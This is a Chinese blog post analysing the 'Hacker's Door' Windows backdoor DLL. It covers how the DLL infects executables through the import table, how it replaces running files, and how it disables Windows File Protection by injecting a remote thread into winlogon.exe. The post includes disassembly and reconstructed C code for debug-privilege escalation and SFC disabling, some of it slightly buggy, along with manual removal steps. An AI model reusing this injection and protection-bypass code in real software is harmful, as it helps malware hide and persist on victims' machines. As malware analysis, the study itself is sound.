注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

.

若能杯酒比名淡, 应信村茶比酒香!

 
 
 

日志

 
 
关于我

知性而不失漂亮、独立而不失女人味、性感而不张扬、高贵而不失娇柔。从容却不急趋、自如而不窘迫、温柔善良、贤惠端庄、经历过太多风雨洗礼、雅致的清香挥之不去。

网易考拉推荐

黑客之门的魅力:感染与加载 (1)  

2009-07-24 12:17:19|  分类: ◆黑客攻防◆ |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

黑客之门的魅力:感染与加载 (1) - 台北佳丽 - .

黑客之门的魅力:感染与加载 (1)

最近对后门产生了很浓厚的兴趣,上网与各位高手讨论的时候,有人提到了“黑客之门”很厉害,也算是推出来的比较成功的一个后门,于是上网下载了一个研究研究,顺便也学习学习其中的方法与技巧。不敢独享,分享于此,同时希望高手们指教。

“黑客之门”介绍

黑客之门采用的目前一些先进的后门技术,它只有一个Dll文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,因此它的隐藏性非常好,而且穿透防火墙也是很容易的事。这个版本文件不大,只提供一些很有用的命令。目前还没有发现如何工具能查到这个后门,象Fport,Llister,RKDetector等查工具都失效。
程序的自启动

既然是一个后门,那么就要随系统的启动而启动,根据黑客之门的介绍,它是通过感染系统程序文件来实现程序的自启动的。既然是感染了系统文件(像病毒),那就看看感染前和感染后的系统文件的区别吧!为了测试感染前后的差别,我准备了一个专门用来被感染的文件TestLoad.exe,它没有什么功能,只是弹出一个对话框,这样好等待测试,麻雀虽小,五脏俱全,省得动系统文件了。接着运行命令:

C:>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2
使黑客之门感染TestLoad.exe,感染完毕后用EXE文件查看利器eXescope查看TestLoad.exe被感染前后的差别。

被感染之前eXescpoe显示的TestLoad.exe的结构如图1所示:
图1
感染之后的TestLoad.exe的结构如图2所示:

图2
可以看出感染之后的TestLoad.exe的引入表多了一个Hkdoordll.dll引入库。细心观察感染之后的 TestLoad.exe的引入表地址(Import Table Address ITA)已经被改变,原来的ITA为0x000043FC,感染之后为0x0000477E。
为了进一步看清除感染前后的文件的变化,这里使用LordPE.exe比较感染前后的TestLoad.exe的引入表函数,比较结果如图3所示:

图3

小提示:使用LordPE.exe查看exe文件的引入表函数方法是:点击PE Edito打开相应的文件,接着点击Directories,弹出对话框后点击Import Table右边的三个点,这样就可以查看一个可执行文件的引入表了。

可以看出,只是在引入表链表中添加了一个相应的Hkdoordll.dll,这样当被感染的程序再次运行时,由系统的程序装载器搜索Hkdoordll.dll,并将其引用到被感染程序的地址空间,后门就运行起来了。黑客之门的这种子启动方式值得学习,比较灵巧。

搞明白了黑客之门的启动方式后,我们就可以手动清除它了,这里切不可将Hkdoordll.dll直接删除,这样可能直接导致系统崩溃。因为系统在加载被感染的程序(假如为Services.exe)时发现没有找到Hkdoordll.dll,Services.exe将不能被装载,如果被感染的是系统关键进程的话,那么系统将不能正确的启动。清除的时候我们可以去别的机器上(相同系统与补丁)找一个Services.exe,将被感染的程序命名为 Services2.exe,将Services.exe拷贝到System32文件夹下,重启电脑,删除Hkdoordll.dll就清除黑客之门了。
运行时感染

上面说的是黑客之门的自启动方式,下面看看黑客之门是怎么感染正在运行的系统文件的,这一点让我晕了很久,最后发现是用了一个很灵活的小技巧。
我们知道在Windows系统下,正在运行的程序文件一般是不能修改或者删除的,正是由于这一点,才出现了各种程序运行时的自删除大法,程序自删除不是我们这次的重点。但是,细心的用户可能已经发现,在Windows 2000或Wndows XP系统下,我们可以对正在运行的EXE文件进行重命名或者移动。
再拿刚才的TestLoad.exe做测试,运行:

C:>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2
可以发现TestLoad.exe所在的文件夹内多出了一个文件TestLoad.exe.bak,咋一看还以为“黑客之门”做好事,自动帮你备份一下系统文件,其实这可是黑客之门的狐狸尾巴啊!是它不得已而为之的。不要关闭TestLoad.exe,然后试着删除TestLoad.exe和 TestLoad.exe.bak,是不是发现奇迹了?竟然把TestLoad.exe删掉了,而TestLoad.exe.bak竟然不让删,是不是和我刚才说的话矛盾?非也!非也!刚好证明了刚才的话:黑客之门先把TestLoad.exe改名为TestLoad.exe.bak,然后生成一个被感染的TestLoad.exe,这样,下次运行TestLoad.exe实际上是被替换过的程序,原来的程序则放在一边。
用IDA Pro反汇编Hkdoordll.dll可以发现以下函数的调用:

文件重命名:

.data:1000C618 lea ecx, [esp+438h+FileName]
.data:1000C61F lea edx, [esp+438h+var_324]
.data:1000C626 push ecx
.data:1000C627 push edx
.data:1000C628 call rename

拷贝文件:

.data:1000C66F lea edx, [esp+440h+var_32C]
.data:1000C676 push 0 ; bFailIfExists
.data:1000C678 lea eax, [esp+444h+var_228]
.data:1000C67F push edx ; lpNewFileName
.data:1000C680 push eax ; lpExistingFileName
.data:1000C681 call CopyFileA

移动文件:

.data:1000C795 mov eax, [ebp+8]
.data:1000C798 test eax, eax
.data:1000C79A jnz short loc_1000C7FE
.data:1000C79C lea ecx, [esp+448h+var_334]
.data:1000C7A3 push 5 ; dwFlags
.data:1000C7A5 lea edx, [esp+44Ch+var_230]
.data:1000C7AC push ecx ; lpNewFileName
.data:1000C7AD push edx ; lpExistingFileName
.data:1000C7AE call MoveFileExA
上面的语句实际上可以理解为:
MoveFileEx(“TestLoad.exe”,”TestLoad.exe.bak”, MOVEFILE_DELAY_UNTIL_REBOOT| MOVEFILE_REPLACE_EXISTING);

小知识:MSDN中对MoveFileEx()函数的解释为:
BOOL MoveFileEx(
LPCTSTR lpExistingFileName, // pointer to the name of the existing file
LPCTSTR lpNewFileName, // pointer to the new name for the file
DWORD dwFlags // flag that specifies how to move file
);

这样进程TestLoad.exe的文件映象实际上为TestLoad.exe.bak,接着Hkdoordll.dll生成被感染的TestLoad.exe,并且保存在原来的文件路径上即可。

灭掉系统文件保护

一旦系统启动了,Windows系统就开始加载已经被感染的系统程序,但是由于“黑客之门”是通过感染系统程序实现自启动的,这下子又遇到了另外一个问题。

大家都知道,在Windows 2000和Windows XP中有系统文件保护功能,一旦被保护的系统文件被修改了,就会弹出需要插入系统安装盘CD的对话框。这样就导致了一个问题, TestLoad.exe只是一个普通的EXE文件,而不是受系统文件保护系统保护的系统进程,那为什么黑客之门修改系统进程时,操作系统的文件的文件保护系统不会提醒呢?
这一点,还是采用反汇编黑客之门的方法,观察它是怎样关闭系统文件保护功能的。

发现如下的代码:

.data:1000BBB0 LoadSFCDLL proc near ; CODE XREF: sub_1000BC70+B7
.data:1000BBB0 push esi
.data:1000BBB1 xor esi, esi
.data:1000BBB3 call GetVersion ; Get current version number of Windows
.data:1000BBB3 ; and information about the operating system platform
.data:1000BBB9 cmp al, 5
.data:1000BBBB jnz short loc_1000BBDF
.data:1000BBBD xor ecx, ecx ;此时为Windows2000系统
.data:1000BBBF mov cl, ah
.data:1000BBC1 test cl, cl
.data:1000BBC3 jnz short loc_1000BBD2
.data:1000BBC5 push offset aSfc_dll ; lpLibFileName
.data:1000BBCA call LoadLibraryA ;此时为WindowsXP系统
.data:1000BBD0 pop esi
.data:1000BBD1 retn
.data:1000BBD2 loc_1000BBD2: ; CODE XREF: LoadSFCDLL+13 j
.data:1000BBD2 push offset aSfc_os_dll ; lpLibFileName
.data:1000BBD7 call LoadLibraryA
.data:1000BBDD pop esi
.data:1000BBDE retn

上面的代码可以看出,Hkdoordll.dll根据操作系统的版本调用了Sfc.dll或者Sfc_os.dll,如果是Windows 2000(Windows NT 5.0)的话,装载Sfc.dll;如果是Windows XP(Windows NT 5.1)的话,装载Sfc_os.dll。再看下面的一段反汇编代码:

sub esp, 228h
.data:1000BC76 lea eax, [esp+228h+hObject]
.data:1000BC7A push ebx
.data:1000BC7B push esi
.data:1000BC7C push edi
.data:1000BC7D push offset aWinlogon_exe ; "winlogon.exe"
.data:1000BC82 push 0
.data:1000BC84 push offset aDS ; "%d/%s"
.data:1000BC89 push 1Fh
.data:1000BC8B mov edi, ecx
.data:1000BC8D push eax
.data:1000BC8E call sub_10008C60
.data:1000BC93 add esp, 14h
.data:1000BC96 lea ecx, [esp+234h+hObject]
.data:1000BC9A push ecx ; lpMultiByteStr
.data:1000BC9B call sub_100016CC //这个子函数就是用来得到进程ID
>.data:1000BCA0 cmp eax, 0FFFFFFFDhSFC
.data:1000BCA3 jb short loc_1000BCDB
.data:1000BCA5 push offset aCanTGetWinlogo ; "Can't get winlogon process id!rn"

上面的函数用来得到Winlogon.exe进程的ID,以便下面打开它注入代码:

.data:1000BCDB push eax ; dwProcessId
.data:1000BCDC push 0 ; bInheritHandle
.data:1000BCDE push 1F0FFFh ; dwDesiredAccess
.data:1000BCE3 call OpenProcess ;打开目标进程
.data:1000BCE9 mov ebx, eax
.data:1000BCEB test ebx, ebx
.data:1000BCED jnz short loc_1000BD25

上面的汇编代码段是调用OpenProcess()函数打开Winlogon.exe进程。继续观察反汇编代码,发现下面的一段:

.data:1000BD25 mov ecx, edi
.data:1000BD27 call LoadSFCDLL
.data:1000BD2C mov esi, eax
.data:1000BD2E test esi, esi
.data:1000BD30 jnz short loc_1000BD6F
.data:1000BD6F push 2 ;函数序号为2
.data:1000BD71 push esi ;SFC.dll的 hModule
.data:1000BD72 call GetProcAddress ;得到SFC.dll中序数为2 的函数的地址
.data:1000BD78 test eax, eax
.data:1000BD7A mov [edi+10h], eax
.data:1000BD7D jnz short loc_1000BDC3

可以发现上面的汇编代码用来得到以前装载的Sfc.dll(或Sfc_os.dll)中的序数为2的函数的地址。接着程序跳转到了Loc_1000BDC3,继续跟踪反汇编代码,发现以下一段:

.data:1000BDC3 push eax ; 刚才得到的SFC.dll中函数的地址
.data:1000BDC4 push ebx ; Winlogon.exe进程的句柄
.data:1000BDC5 mov ecx, edi
.data:1000BDC7 call sub_1000BBF0?注意这里调用函数 sub_1000BBF0
.data:1000BDCC push esi ; hLibModule
.data:1000BDCD mov edi, eax
.data:1000BDCF call FreeLibrary
.data:1000BDD5 test edi, edi
.data:1000BDD7 push ebx ; hObject
跟进Sub_1000BBF0函数,Sub_1000BBF0函数:
入口参数:进程句柄、线程开始地址
.data:1000BBF0 sub_1000BBF0 proc near ; CODE XREF: sub_1000BC70+157 p
.data:1000BBF0
.data:1000BBF0 ThreadId = dword ptr -1
.data:1000BBF0 hProcess = dword ptr 7
.data:1000BBF0 lpStartAddress = dword ptr 0Bh
.data:1000BBF0
.data:1000BBF0 push ecx
.data:1000BBF1 mov ecx, [esp+1+lpStartAddress]
.data:1000BBF5 mov edx, [esp+1+hProcess]
.data:1000BBF9 lea eax, [esp+1+ThreadId]
.data:1000BBFD push esi
.data:1000BBFE push eax ; lpThreadId
.data:1000BBFF push 0 ; dwCreationFlags
.data:1000BC01 push 0 ; lpParameter
.data:1000BC03 push ecx ; SFC.dll中第二个函数的函数地址
.data:1000BC04 push 0 ; dwStackSize
.data:1000BC06 push 0 ; lpThreadAttributes
.data:1000BC08 push edx ; 以前打开的winlogon.exe进程的句柄
.data:1000BC09 mov [esp+21h+ThreadId], 0
.data:1000BC11 call CreateRemoteThread ;创建远线程
.data:1000BC17 mov esi, eax
.data:1000BC19 test esi, esi ;ESI保存刚才新创建的线程的句柄
.data:1000BC1B jnz short loc_1000BC3F
――――――――――――――――――――――――――――――
.data:1000BC3F
.data:1000BC3F loc_1000BC3F: ; CODE XREF: sub_1000BBF0+2B j
.data:1000BC3F push 0FA0h ; dwMilliseconds
.data:1000BC44 push esi ; 新创建的线程的句柄
.data:1000BC45 call WaitForSingleObject ;等待远程线程的结束
.data:1000BC4B test eax, eax
.data:1000BC4D jz short loc_1000BC5D
――――――――――――――――――――――――――――――――――
.data:1000BC5D
.data:1000BC5D loc_1000BC5D: ; CODE XREF: sub_1000BBF0+5D j
.data:1000BC5D push esi ; hObject
.data:1000BC5E call CloseHandle
.data:1000BC64 mov eax, [esp+5+ThreadId]
.data:1000BC68 pop esi
.data:1000BC69 pop ecx
.data:1000BC6A retn 8
.data:1000BC6A sub_1000BBF0 endp

上面的子函数功能很简单,就是在刚刚打开的Winlogon.exe进程中创建新的线程,新线程调用SFC.dll中的序号为2的输出函数,这样便关掉了系统文件的自我保护。

事实上,根据Bgate的《在Win 2000/XP上安静地替换正在使用的系统文件》这篇文章的解释,在Windows 2000(XP)系统下,执行系统文件保护的代码在Sfc.dll(XP在Sfc_os.dll)中,这个Dll由Winlogon.exe调用。 Winlogon.exe主要调用Sfc.dll中的两个函数实现系统文件文件保护。Winlogon.exe调用Sfc.dll中的一个输出函数在系统启动的时候创建了一系列事件,Winlogon.exe结束时调用另外一个函数关闭上面的一系列事件,这样就关闭了系统保护文件功能。那这样我们只需要向 Winlogon.exe中注入代码调用“第二个”函数,就能取消文件保护功能了,“黑客之门”采用的也正是这样的方法。

这里需要注意的是,要把进程注入到Winlogon.exe中,需要提升自身的权限到Debug权限。

HANDLE hToken;
LUID DebugNameValue;
TOKEN_PRIVILEGES Privileges;
DWORD dwRet;

OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken);
LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue);
Privileges.PrivilegeCount=1;
Privileges.Privileges[0].Luid=DebugNameValue;
Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges),
NULL,&dwRet);
CloseHandle(hToken);

上面整个关闭系统文件保护功能的实现用C语言写下来如下所示:

/*得到进程的ID,具体的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/
DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(,FALSE,dwPid);
DWORD dwVersion;
HMODULE hSfc;
dwVersion = GetVersion();
//判断操作系统的类型
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{ // Windows 2000/XP
if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0) //Windows 2000
hSfc = LoadLibrary("sfc.dll");
else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP
hSfc = LoadLibrary("sfc_os.dll");
}
//得到函数的地址
FARPROC dwAddress=GerProcAddress(hSfc, MAKEINTRESOURCE(2));
DWORD dwThreadId;
HANDLE hThread;
//创建远线程
hThread =CreateRemoteThread(hProcess,0,0, /
(DWORD (__stdcall *) (void *)) dwAddress,0,0,&dwThreadId);
WaitForSingleObject(hThread,0x0FA0);

结束语

大概分析完了,刚开始拿到黑客之门的时候,我还在想,它到底是怎样感染正在运行的系统文件的呢?原来以为是修改进程的句柄指向的进程的操作掩码完成的,为此我还翻阅了好多文档。结果通过对程序的反汇编学习,渐渐的发现黑客之门的程序编制的技巧。这里也要感谢“黑客之门”的作者,没有给它加壳,能让我们有幸能一睹优秀黑客工具的容颜!

黑客之门的魅力:感染与加载 (1) - 台北佳丽 - .

  评论这张
 
阅读(202)| 评论(44)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017